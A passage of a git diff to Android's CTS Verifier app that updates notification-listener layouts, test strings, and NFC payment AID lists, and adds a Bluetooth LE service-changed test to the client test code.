+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content" >
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
 
-    <ImageView
-        android:id="@+id/nls_status"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_alignParentLeft="true"
-        android:layout_alignParentTop="true"
-        android:layout_marginTop="10dip"
-        android:contentDescription="@string/pass_button_text"
-        android:padding="10dip"
-        android:src="@drawable/fs_indeterminate" />
-
-    <TextView
-        android:id="@+id/nls_instructions"
-        style="@style/InstructionsSmallFont"
+    <LinearLayout
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_alignParentTop="true"
-        android:layout_toRightOf="@id/nls_status"
-        android:text="@string/nls_enable_service" />
+        android:orientation="horizontal">
+        <ImageView
+            android:id="@+id/nls_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentTop="true"
+            android:layout_marginTop="10dip"
+            android:contentDescription="@string/pass_button_text"
+            android:padding="10dip"
+            android:src="@drawable/fs_indeterminate" />
+
+        <TextView
+            android:id="@+id/nls_instructions"
+            style="@style/InstructionsSmallFont"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_gravity="center_vertical"
+            android:layout_toRightOf="@id/nls_status"
+            android:text="@string/nls_enable_service" />
+    </LinearLayout>
 
     <Button
         android:id="@+id/nls_action_button"
-        android:layout_width="match_parent"
+        android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_below="@id/nls_instructions"
         android:layout_marginLeft="20dip"
         android:layout_marginRight="20dip"
-        android:layout_toRightOf="@id/nls_status"
         android:onClick="actionPressed"
+        android:layout_gravity="center_horizontal"
         android:text="@string/nls_start_settings" />
 
-</RelativeLayout>
\ No newline at end of file
+    <LinearLayout
+        android:id="@+id/feedback"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:visibility="gone" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/integers.xml b/apps/CtsVerifier/res/values/integers.xml
index 508c52c..2ced54b 100644
--- a/apps/CtsVerifier/res/values/integers.xml
+++ b/apps/CtsVerifier/res/values/integers.xml
@@ -14,5 +14,5 @@
      limitations under the License.
 -->
 <resources>
-    <integer name="test_list_footer_button_count">2</integer>
+    <integer name="test_list_footer_button_count">3</integer>
 </resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
old mode 100755
new mode 100644
index a0927f5..bbc3ae3
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -128,6 +128,18 @@
     <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
         user by obscuring the device admin details while prompting the user to activate the admin.
     </string>
+    <string name="car_enable_garage_monitor">Enable Garage Mode Monitor</string>
+    <string name="car_garage_mode_test">Garage Mode Test</string>
+    <string name="car_garage_mode_test_desc">
+        This test verifies that Garage Mode runs at the end of a drive.\n\n
+        Optional: Disable Wi-Fi to minimize other activity during the test.\n\n
+        Touch "Enable Garage Mode Monitor" to launch the Garage Mode verifier.\n\n
+        Turn the vehicle off and exit the vehicle (or take the proprietary action that
+        initiates shut-down of the system).\n\n
+        Do not enter or disturb the vehicle for at least 15 minutes.\n\n
+        Enter the vehicle. Re-launch the CTS-Verifier app if it is not running.\n\n
+        If Garage Mode ran as required, the pass button will be enabled.</string>
+    <string name="car_wifi_settings">Go to Wi-Fi settings</string>
     <string name="car_dock_test">Car Dock Test</string>
     <string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
         car dock when going into car mode.\n\n
@@ -587,6 +599,7 @@
     <string name="ble_read_descriptor_name">Bluetooth LE Read Descriptor</string>
     <string name="ble_write_descriptor_name">Bluetooth LE Write Descriptor</string>
     <string name="ble_read_rssi_name">Bluetooth LE Read RSSI</string>
+    <string name="ble_on_service_changed">Bluetooth LE On Service Changed</string>
     <string name="ble_client_disconnect_name">Bluetooth LE Client Disconnect</string>
     <string name="ble_insecure_client_test_info">
         The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
@@ -635,6 +648,7 @@
     <string name="ble_server_read_descriptor">Waiting on read descriptor request</string>
     <string name="ble_server_reliable_write">Waiting on reliable write from client</string>
     <string name="ble_server_reliable_write_bad_resp">Waiting on reliable write from client (send bad response)</string>
+    <string name="ble_server_service_changed_indication">Waiting on service changed indication</string>
     <string name="ble_server_receiving_disconnect">Waiting on disconnection from Bluetooth LE client</string>
     <string name="ble_connection_priority_server_name">02 Bluetooth LE Connection Priority Server Test</string>
     <string name="ble_connection_priority_server_info">Bluetooth LE Connection Priority Server receive message from message in 3 different priority.</string>
@@ -1119,18 +1133,18 @@
     <string name="nfc_hce_change_favor_foreground">This test requires the \"Use default\" setting to be set to \"Except when another payment app is open\". Tap OK to go to Tap and Pay settings and make sure the \"Use default\" setting is set to \"Except when another payment app is open\".</string>
     <string name="nfc_hce_offhost_service_emulator">Off-host service (Emulator)</string>
     <string name="nfc_hce_offhost_service_reader">Off-host service (Reader)</string>
-    <string name="nfc_hce_offhost_emulator_help">This tests enables a service that declares some AIDs to reside off-host. This test only needs to be passed if your device has a secure element (either embedded or UICC.). The responses from the secure element are not verified by the test - it is up to the tester to verify the responses are as expected.</string>
+    <string name="nfc_hce_offhost_emulator_help">This test enables a service that declares some AIDs to reside off-host. This test only needs to be passed if your device has a secure element (either embedded or UICC.). The responses from the secure element are not verified by the test - it is up to the tester to verify the responses are as expected.</string>
 
     <string name="nfc_hce_on_and_offhost_service_emulator">On and off-host services (Emulator)</string>
     <string name="nfc_hce_on_and_offhost_service_reader">On and off-host services (Reader)</string>
-    <string name="nfc_hce_on_and_offhost_emulator_help">This tests enables a service that declares some AIDs to reside off-host, and another service that runs on host. It then first sends an APDU sequence that goes off-host, and subsequently some APDUs that should go to the on-host service. This test only needs to be passed if your device has a secure element (either embedded or UICC.). The pass button will be enabled if the on-host sequence is performed as expected. The responses from the secure element are not verified by the test - it is up to the tester to verify the responses are as expected. </string>
+    <string name="nfc_hce_on_and_offhost_emulator_help">This test enables a service that declares some AIDs to reside off-host, and another service that runs on host. It then first sends an APDU sequence that goes off-host, and subsequently some APDUs that should go to the on-host service. This test only needs to be passed if your device has a secure element (either embedded or UICC.). The pass button will be enabled if the on-host sequence is performed as expected. The responses from the secure element are not verified by the test - it is up to the tester to verify the responses are as expected. </string>
 
     <string name="nfc_hce_tap_test_emulator">50 successful taps test (Emulator)</string>
     <string name="nfc_hce_tap_test_reader">50 successful taps test (Reader)</string>
     <string name="nfc_hce_tap_test_emulator_help">This test requires you to complete at least 50 HCE taps, to ensure stability of the HCE feature. The NFC service and controller should not crash or hang during any of the 50 taps.</string>
     <string name="nfc_hce_throughput_emulator">HCE throughput test (Emulator)</string>
     <string name="nfc_hce_throughput_reader">HCE throughput test (Reader)</string>
-    <string name="nfc_hce_throughput_emulator_help">This tests verifies that your HCE implementation can reach a decent throughput. While Android does not have any requirements on HCE performance, many HCE applications such as transport and payment apps do. If the average APDU roundtrip time is more than 50ms, please take a look at your implementation to see where the delay is coming from.</string>
+    <string name="nfc_hce_throughput_emulator_help">This test verifies that your HCE implementation can reach a decent throughput. While Android does not have any requirements on HCE performance, many HCE applications such as transport and payment apps do. If the average APDU roundtrip time is more than 50ms, please take a look at your implementation to see where the delay is coming from.</string>
     <string name="nfc_hce_change_preinstalled_wallet">The device has an installed payment application that is currently set as default. To complete the test, you will be asked whether you want to make another app the default app. Select yes.</string>
     <string name="nfc_hce_change_default_help">You will now be asked whether you want to make Payment Service #1 the default app. Select yes.</string>
     <string name="nfc_hce_conflicting_non_payment_help">When tapping the first time, you will be shown a dialog that asks you to choose between TransportService #1 and TransportService #2. Select TransportService #2. Verify a dialog is shown that asks you to tap again to complete. Now tap again, and if communication with TransportService #2 is successfull the pass button will be enabled."</string>
@@ -1158,6 +1172,14 @@
     <string name="nfc_hce_other_conflicting_prefix_aids_reader">Conflicting non-payment prefix AIDs (Reader)</string>
     <string name="nfc_hce_other_conflicting_prefix_aids_help">This test registers conflicting prefix AIDs and makes sure AID conflict detection with prefix AIDs works properly. When tapping the first time, you will be shown a dialog that asks you to choose between TransportService #1 and TransportService #2. Select TransportService #2. Verify a dialog is shown that asks you to tap again to complete. Now tap again, and if communication with TransportService #2 is successfull the pass button will be enabled."</string>
 
+    <string name="nfc_screen_on_only_offhost_emulator">Screen on only Off-host Service (Emulator)</string>
+    <string name="nfc_screen_on_only_offhost_reader">Screen on only Off-host Service (Reader)</string>
+    <string name="nfc_screen_on_only_offhost_help">This test enables a service that declares some AIDs to reside off-host. This test only needs to be passed if your device has a secure element. The responses from the secure element are not verified by the test - it is up to the tester to verify the responses are as expected. The expected behavior is the AID can be selected only when the device is in screen on state.</string>
+
+    <string name="nfc_screen_off_hce_payment_emulator">Screen off HCE Payment (Emulator)</string>
+    <string name="nfc_screen_off_hce_payment_reader">Screen off HCE Payment (Reader)</string>
+    <string name="nfc_screen_off_hce_payment_help">This test verifies emulator responds when device is in screen off state. Please put the emulator to screen off state.</string>
+
     <string name="nfc_payment_service_desc">NFC Payment service</string>
     <string name="ppse">PPSE</string>
     <string name="mastercard">MasterCard</string>
@@ -1170,6 +1192,8 @@
     <string name="offhostService">OffhostService</string>
     <string name="felicaservice">Felica Service</string>
     <string name="UiccTransactionEventService">Uicc Transaction Event Service</string>
+    <string name="screenOffPaymentService">Screen Off Payment Service</string>
+    <string name="screenOnOnlyOffHostService">Screen On Only OffHost Service</string>
 
     <string name="nfc_offhost_uicc">Offhost UICC-based card emulation</string>
     <string name="nfc_offhost_uicc_emulator_tests">Offhost card emulation emulator tests</string>
@@ -1201,7 +1225,7 @@
       If your device supports type B (for example, because of a type B only UICC), select "Type B" from the drop-down box above. Note that all tests must be completed in the same mode (either "Type A" or "Type B").</string>
     <string name="nfc_offhost_please_wait">Please wait</string>
     <string name="nfc_offhost_setting_up">Setting up card emulation services...</string>
-    <string name="nfc_offhost_uicc_transaction_event_emulator_help">Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
+    <string name="nfc_offhost_uicc_transaction_event_emulator_help"> This is an optional test for Android version beofre S. This is okay to set this test to passed and continue. Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
 
     <!-- Strings for Sensor Test Activities -->
     <string name="snsr_device_admin_receiver">Sensor Tests Device Admin Receiver</string>
@@ -2185,41 +2209,15 @@
         and disabled, and that once enabled the service is able to receive notifications and
         dismiss them.
     </string>
+    <string name="nls_anr">This test checks that notifications are not sent with content that is
+        too long. If this test causes the test app to ANR, the test has failed.
+    </string>
     <string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
     <string name="conversation_section_ordering">If this device supports conversation notifications,
         and groups them into a separate section from alerting and silent non-conversation
         notifications, fully expand the notification display and verify that the \"Person A\"
         notification appears before the "\Non-Person Notification\".
         If this device does not support conversation notifications or does not group them together, press Pass.</string>
-    <string name="qs_media_player_title">QS Media Controls Test</string>
-    <string name="qs_media_player_test">Media Controls Test</string>
-    <string name="qs_media_player_info">This test checks that media controls appear in the
-        Quick Settings shade for applications that post a media style notification.</string>
-    <string name="qs_media_player_song_and_artist">Fully expand Quick Settings and look at the media
-        player controls for the CTS Verifier app.
-        Check that the media player contains the strings "Song" and "Artist".
-    </string>
-    <string name="qs_media_player_album_art">Open Quick Settings and look at the media player
-        controls for the CTS Verifier app.
-        Check that the media player contains a solid yellow image.
-    </string>
-    <string name="qs_media_player_progress_bar">Fully expand Quick Settings and look at the media
-        player controls for the CTS Verifier app.
-        Check that the media player contains a progress bar showing 6 seconds have elapsed of a
-        one minute long track.
-    </string>
-    <string name="qs_media_player_actions">Fully expand Quick Settings and look at the media player
-        controls for the CTS Verifier app.
-        Check that icons appear for rewind, previous track, pause, next track and fast forward.
-    </string>
-    <string name="qs_media_player_compact_actions">Open Notification Shade and look at the media player
-        controls for the CTS Verifier app.
-        Check that icons appear for only previous track, pause and next track.
-    </string>
-    <string name="qs_media_player_output_switcher">Open Quick Settings and look at the media player
-        controls for the CTS Verifier app. Click on the button showing that the media is playing
-        on the phone speaker. Check that the Output Switcher opens.
-    </string>
     <string name="tile_service_name">Tile Service for CTS Verifier</string>
     <string name="tiles_test">Tile Service Test</string>
     <string name="tiles_info">This test checks that a Tile Service added by a third party
@@ -2339,7 +2337,7 @@
     <string name="caboot_install_cert">Install credential</string>
     <string name="caboot_remove_screen_lock">Remove screen lock</string>
     <string name="caboot_reboot_desc">Please reboot the device and return to this test.</string>
-    <string name="caboot_after_boot">AFTER REBOOTING: Check that there is a notification that the network may be monitored. Opening that notification should show a dialog box giving more information, with a button to check trusted credentials. This should open up the same view of trusted credentials that you get via the "Check credentials" button.</string>
+    <string name="caboot_after_boot">AFTER REBOOTING: Check that there is a notification saying a certificate authority is installed. Opening that notification should show a dialog box giving more information, with a button to check trusted credentials. This should open up the same view of trusted credentials that you get via the "Check credentials" button.</string>
 
     <!-- Strings for KeyChain -->
     <string name="keychain_test">KeyChain Storage Test</string>
@@ -4661,25 +4659,13 @@
     soundbars which are connected. </string>
     <string name="tv_audio_capabilities_receiver_connected">Connect a receiver or
     soundbar which can play Dolby Atmos. </string>
+    <string name="tv_audio_capabilities_atmos_supported">Does your Android TV device support Dolby Atmos? </string>
 
     <!-- HDR Capabilities test -->
     <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
-    <string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
-    <string name="tv_hdr_capabilities_test_step_no_display">No Display</string>
-    <string name="tv_hdr_capabilities_test_step_non_hdr_display">Non HDR Display</string>
     <string name="tv_hdr_capabilities_test_info">This test checks if
         Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
     </string>
-    <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
-        press the "%s" button, below.
-    </string>
-    <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
-        the "%s" button, below.
-    </string>
-    <string name="tv_hdr_disconnect_display">Press the "%1$s" button
-        and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
-        reconnect the display.
-    </string>
     <string name="tv_panel_hdr_types_reported_are_supported">
         The supported HDR types are: %s\nAre all of them supported by the hardware?
     </string>
@@ -4687,36 +4673,13 @@
         Are there other HDR types which are supported by the hardware, but are not listed above?
     </string>
 
-    <!-- Display Modes Test -->
-    <string name="tv_display_modes_test">Display Modes Test</string>
-    <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
-        and Display.getMode() are correctly reporting the supported screen modes.
-    </string>
-    <string name="tv_display_modes_disconnect_display">
-        Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
-        seconds and then reconnect the display.
-    </string>
-    <string name="tv_display_modes_test_step_no_display">No Display</string>
-    <string name="tv_display_modes_test_step_1080p">1080p Display</string>
-    <string name="tv_display_modes_test_step_2160p">2160p Display</string>
-    <string name="tv_display_modes_start_test_button">Start Test</string>
-    <string name="tv_display_modes_connect_2160p_display">
-        Connect a 2160p display and press the "%s" button, below.
-    </string>
-    <string name="tv_display_modes_connect_1080p_display">
-        Connect a 1080p display and press the "%s" button, below.
-    </string>
-    <string name="tv_panel_display_modes_reported_are_supported">
-        The supported display modes are:\n%s\n\nAre all of the above display modes supported by the hardware?
-    </string>
-    <string name="tv_panel_display_modes_supported_are_reported">
-        Are there other modes which are supported by the hardware, but are not listed above?
-    </string>
     <string name="overlay_view_text">Overlay View Dummy Text</string>
     <string name="custom_rating">Example of input app specific custom rating.</string>
 
     <!-- A list of fully-qualified test classes that should not be run. -->
-    <string-array name="disabled_tests" />
+    <string-array name="disabled_tests">
+        <item>com.android.cts.verifier.telecom.CtsVerifierInCallUi</item>
+    </string-array>
 
     <!-- Strings for screen pinning test -->
     <string name="screen_pinning_test">Screen Pinning Test</string>
diff --git a/apps/CtsVerifier/res/xml/screen_off_payment_aid_list.xml b/apps/CtsVerifier/res/xml/screen_off_payment_aid_list.xml
new file mode 100644
index 0000000..562a5cd
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/screen_off_payment_aid_list.xml
@@ -0,0 +1,12 @@
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:description="@string/screenOffPaymentService"
+    android:requireDeviceScreenOn="false"
+    android:requireDeviceUnlock="false"
+    android:apduServiceBanner="@drawable/nfc_hce_banner">
+        <aid-group android:description="@string/screenOffPaymentService" android:category="payment">
+            <aid-filter android:name="325041592E5359532E4444463031"
+                        android:description="@string/ppse"/>
+            <aid-filter android:name="A0000000041010"
+                        android:description="@string/mastercard"/>
+        </aid-group>
+</host-apdu-service>
diff --git a/apps/CtsVerifier/res/xml/screen_on_only_offhost_aid_list.xml b/apps/CtsVerifier/res/xml/screen_on_only_offhost_aid_list.xml
new file mode 100644
index 0000000..318399b
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/screen_on_only_offhost_aid_list.xml
@@ -0,0 +1,12 @@
+<offhost-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:description="@string/screenOnOnlyOffHostService"
+    android:requireDeviceScreenOn="true"
+    android:requireDeviceUnlock="true"
+    android:secureElementName="SIM">
+    <aid-group
+        android:category="other"
+        android:description="@string/screenOnOnlyOffHostService" >
+
+       <aid-filter android:name="A000000476416E64726F696443545340"/>
+    </aid-group>
+</offhost-apdu-service>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index f9601de..39e8301 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -409,7 +409,7 @@
                                 .loadClass("android.os.SystemProperties")
                                 .getMethod("get", String.class);
                             String emulatorKernel = (String) getStringMethod.invoke("0",
-                                    "ro.kernel.qemu");
+                                    "ro.boot.qemu");
                             if (emulatorKernel.equals("1")) {
                                 return false;
                             }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java
index 41217a6..adae240 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java
@@ -96,6 +96,11 @@
     @Override
     protected void onDestroy() {
         super.onDestroy();
+        if (mDevicePolicyManager.isAdminActive(
+                DeviceAdminTestReceiver.getReceiverComponentName())) {
+            mDevicePolicyManager.removeActiveAdmin(
+                DeviceAdminTestReceiver.getReceiverComponentName());
+        }
         unregisterReceiver(mReceiver);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
index 9aebbc4..f5e4271 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
@@ -226,7 +226,8 @@
       frequencies[i] = new Double(Common.FREQUENCIES_ORIGINAL[i]);
     }
 
-    if (wavAnalyzerTask != null) {
+    if (wavAnalyzerTask != null && wavAnalyzerTask.getPower() != null &&
+        wavAnalyzerTask.getNoiseDB() != null && wavAnalyzerTask.getDB() != null) {
 
       double[][] power = wavAnalyzerTask.getPower();
       for(int i = 0; i < Common.REPETITIONS; i++) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index b7e0fb1..6563e7e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,6 +19,7 @@
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
+import android.content.res.Resources;
 import android.hardware.biometrics.BiometricManager;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
@@ -246,8 +247,9 @@
     }
 
     static boolean deviceConfigContains(Context context, int authenticator) {
-        final String config[] = context.getResources()
-                .getStringArray(com.android.internal.R.array.config_biometric_sensors);
+        final Resources res = context.getResources();
+        final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
+        final String config[] = res.getStringArray(resId);
         for (String s : config) {
             Log.d(TAG, s);
             final String[] elems = s.split(":");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 1fd6a2b..b87156d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -116,6 +116,8 @@
             "com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED";
     public static final String BLE_READ_REMOTE_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
+    public static final String BLE_ON_SERVICE_CHANGED =
+            "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
     public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_NOPERMISSION";
     public static final String BLE_CHARACTERISTIC_WRITE_NOPERMISSION =
@@ -172,6 +174,8 @@
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR";
     public static final String BLE_CLIENT_ACTION_READ_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_RSSI";
+    public static final String BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED";
     public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
     public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
@@ -269,6 +273,9 @@
     private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
+    private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+        UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
 
@@ -278,6 +285,7 @@
     public static final String WRITE_VALUE = "CLIENT_TEST";
     private static final String NOTIFY_VALUE = "NOTIFY_TEST";
     public static final String WRITE_VALUE_BAD_RESP = "BAD_RESP_TEST";
+    public static final String SERVICE_CHANGED_VALUE = "CLIENT_SVC_CHG";
 
     // current test category
     private String mCurrentAction;
@@ -301,6 +309,15 @@
     // Lock for synchronization during notification request test.
     private final Object mRequestNotificationLock = new Object();
 
+    // Lock for triggering service changed event on server side.
+    private final Object mServiceChangedLock = new Object();
+    private static final int SERVICE_CHANGED_FLAG_INIT = 0x00;
+    private static final int SERVICE_CHANGED_FLAG_TRIGGER_ACTION = 0x01;
+    private static final int SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED = 0x02;
+    private static final int SERVICE_CHANGED_FLAG_ALL = 0x03;
+    private static final int SERVOCE_CHANGED_FLAG_IGNORE = 0xFF;
+    private int mServiceChangedFlag;
+
     private enum ReliableWriteState {
         RELIABLE_WRITE_NONE,
         RELIABLE_WRITE_WRITE_1ST_DATA,
@@ -463,6 +480,10 @@
                 case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
                     writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
                     break;
+                case BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED:
+                    initializeServiceChangedEvent();
+                    writeCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, WRITE_VALUE);
+                    break;
             }
         }
     }
@@ -599,6 +620,29 @@
         }
     }
 
+    private void initializeServiceChangedEvent() {
+        synchronized (mServiceChangedLock) {
+            mServiceChangedFlag = SERVICE_CHANGED_FLAG_INIT;
+        }
+    }
+
+    private void sendServiceChangedEventIfReady(int flag) {
+        boolean shouldSend = false;
+        synchronized (mServiceChangedLock) {
+            mServiceChangedFlag |= flag;
+            if (mServiceChangedFlag == SERVICE_CHANGED_FLAG_ALL) {
+                mServiceChangedFlag |= SERVOCE_CHANGED_FLAG_IGNORE;
+                shouldSend = true;
+            }
+        }
+
+        if (shouldSend) {
+            writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                SERVICE_CHANGED_VALUE);
+            notifyServiceChanged();
+        }
+    }
+
     private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
         if (characteristic != null) {
             mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
@@ -791,6 +835,12 @@
         sendBroadcast(intent);
     }
 
+    private void notifyServiceChanged() {
+        showMessage("Remote service changed");
+        Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
+        sendBroadcast(intent);
+    }
+
     private BluetoothGattService getService(UUID serverUid) {
         BluetoothGattService service = null;
 
@@ -993,7 +1043,9 @@
                 Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
             }
 
-            if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
+            if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+                sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_TRIGGER_ACTION);
+            } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
                     BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
                 if (status == BluetoothGatt.GATT_SUCCESS) {
                     notifyMtuChanged();
@@ -1221,6 +1273,17 @@
                 notifyError("Failed to read remote rssi");
             }
         }
+
+        @Override
+        public void onServiceChanged(BluetoothGatt gatt) {
+            if (DEBUG) {
+                Log.d(TAG, "onServiceChanged");
+            }
+
+            if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+                sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED);
+            }
+        }
     };
 
     private final ScanCallback mScanCallback = new ScanCallback() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index b5220f8..bfcd85d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -60,7 +60,8 @@
     private static final int PASS_FLAG_INDICATE_CHARACTERISTIC = 0x8000;
     private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x10000;
     private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x20000;
-    private static final int PASS_FLAG_ALL = 0x3FFFF;
+    private static final int PASS_FLAG_ON_SERVICE_CHANGED = 0x40000;
+    private static final int PASS_FLAG_ALL = 0x7FFFF;
 
     private final int BLE_CLIENT_CONNECT = 0;
     private final int BLE_BLE_DISCOVER_SERVICE = 1;
@@ -79,7 +80,8 @@
     private final int BLE_READ_DESCRIPTOR_NO_PERMISSION = 13;   //14;
     private final int BLE_WRITE_DESCRIPTOR_NO_PERMISSION = 14;  //15;
     private final int BLE_READ_RSSI = 15;   //16;
-    private final int BLE_CLIENT_DISCONNECT = 15;   //16;   //17;
+    private final int BLE_ON_SERVICE_CHANGED = 15; //16; //17;
+    private final int BLE_CLIENT_DISCONNECT = 16;  //17; //18;
 
     private TestAdapter mTestAdapter;
     private long mPassed;
@@ -119,6 +121,7 @@
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_COMPLETED);
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
         filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
+        filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
         filter.addAction(BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION);
@@ -178,6 +181,7 @@
         testList.add(R.string.ble_write_descriptor_nopermission_name);
 // TODO: too flaky b/34951749
 //        testList.add(R.string.ble_read_rssi_name);
+        testList.add(R.string.ble_on_service_changed);
         testList.add(R.string.ble_client_disconnect_name);
 
         return testList;
@@ -347,13 +351,19 @@
                 // execute disconnection test
                 mPassed |= PASS_FLAG_READ_RSSI;
                 Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
                 break;
             case BleClientService.BLE_READ_REMOTE_RSSI:
                 actionName = getString(R.string.ble_read_rssi_name);
                 mTestAdapter.setTestPass(BLE_READ_RSSI);
                 mPassed |= PASS_FLAG_READ_RSSI;
